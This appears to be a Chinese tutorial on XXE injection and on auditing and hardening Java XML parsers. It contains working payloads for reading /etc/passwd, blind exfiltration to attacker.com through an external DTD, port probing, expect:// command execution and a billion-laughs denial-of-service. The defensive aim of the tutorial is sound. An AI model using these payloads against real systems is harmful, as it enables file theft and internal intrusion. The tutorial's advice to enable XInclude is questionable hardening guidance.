审计JAVA下的XXE
字数 1219 2025-08-29 08:30:36
XXE漏洞全面解析与防御指南
XML基础
XML语法规则
- 所有XML元素必须有闭合标签
- XML标签对大小写敏感
- XML必须正确嵌套
- XML文档必须有根元素
- XML属性值必须加引号
- 特殊字符需使用实体引用(如
<用<,>用>) - XML中空格会被保留
XML结构组成
- 文档声明:
<?xml version="1.0" encoding="utf-8"?> - 元素:XML主要构建模块,可包含文本、其他元素或为空
<message>some message</message> - 属性:提供元素的额外信息
- 实体:定义引用普通文本或特殊字符的快捷方式变量
实体类型
- 字符实体:预定义实体如
<,> - 命名实体:自定义实体
<!ENTITY writer "Bill Gates"> - 外部实体:引用外部资源
<!ENTITY writer SYSTEM "http://example.com/dtd/entities.dtd"> - 参数实体:只能在DTD中使用
<!ENTITY % name "value">
DTD(文档类型定义)
内部声明
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
外部引用
<!DOCTYPE note SYSTEM "note.dtd">
PCDATA与CDATA
- PCDATA:会被解析器解析的文本,不能包含
&,<,> - CDATA:不会被解析的文本,格式:
<![CDATA[ 内容 ]]>
XXE漏洞原理
XXE(XML External Entity Injection)即XML外部实体注入,当解析XML时允许解析恶意外部实体,导致:
- 文件读取
- 命令执行
- 内网端口扫描
- 内网攻击
- 拒绝服务攻击
攻击条件
- 解析XML输入
- XML内容外部可控
- 未禁用外部实体
XXE攻击类型与利用
1. 有回显文件读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY bee SYSTEM "file:///etc/passwd">
]>
<reset>
<login>&bee;</login>
<secret>Any bugs?</secret>
</reset>
2. 无回显(Blind XXE)
利用外带数据:
- 攻击者服务器创建evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd "<!ENTITY data SYSTEM 'http://attacker.com/?%file;'>"> - 发送恶意XML:
<?xml version="1.0"?> <!DOCTYPE hack[ <!ENTITY % send SYSTEM "http://attacker.com/evil.dtd"> %send; %dtd; ]> <r>&data;</r>
3. 读取PHP等特殊文件
使用Base64编码避免解析问题:
<!ENTITY bee SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/config.php">
4. 端口探测
<!ENTITY bee SYSTEM "http://192.168.1.1:3306">
- 端口开放:
failed to open stream: HTTP request failed! - 端口关闭:长时间等待或
Connection refused
5. 命令执行(需expect扩展)
<!ENTITY bee SYSTEM "expect://id">
6. 拒绝服务攻击
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "abc">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!-- 继续递归定义 -->
]>
<lolz>&lol9;</lolz>
Java XXE代码审计
常见易受攻击接口
- XMLReader
- SAXBuilder
- SAXReader
- SAXParserFactory
- Digester
- DocumentBuilderFactory
安全修复方案
通用修复方法
// 最佳方案:禁用DTD
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 次优方案:禁用外部实体
setFeature("http://xml.org/sax/features/external-general-entities", false);
setFeature("http://xml.org/sax/features/external-parameter-entities", false);
各接口具体修复
- XMLReader
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- SAXBuilder
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- SAXReader
SAXReader reader = new SAXReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- SAXParserFactory
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- Digester
Digester digester = new Digester();
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// 如需支持XInclude
dbf.setXIncludeAware(true);
dbf.setNamespaceAware(true);
其他防御措施
- 升级dom4j到2.1.1+(禁用ENTITY)
- 使用白名单过滤用户输入的XML数据
- 对特殊字符
<!DOCTYPE,<!ENTITY,SYSTEM,PUBLIC进行过滤
总结
XXE漏洞危害严重,防御关键在于:
- 禁用DTD(最优方案)
- 无法禁用DTD时,必须禁用外部实体和参数实体
- 使用安全配置的XML解析器
- 对用户输入进行严格过滤
通过正确配置XML解析器和实施输入验证,可有效防御XXE攻击。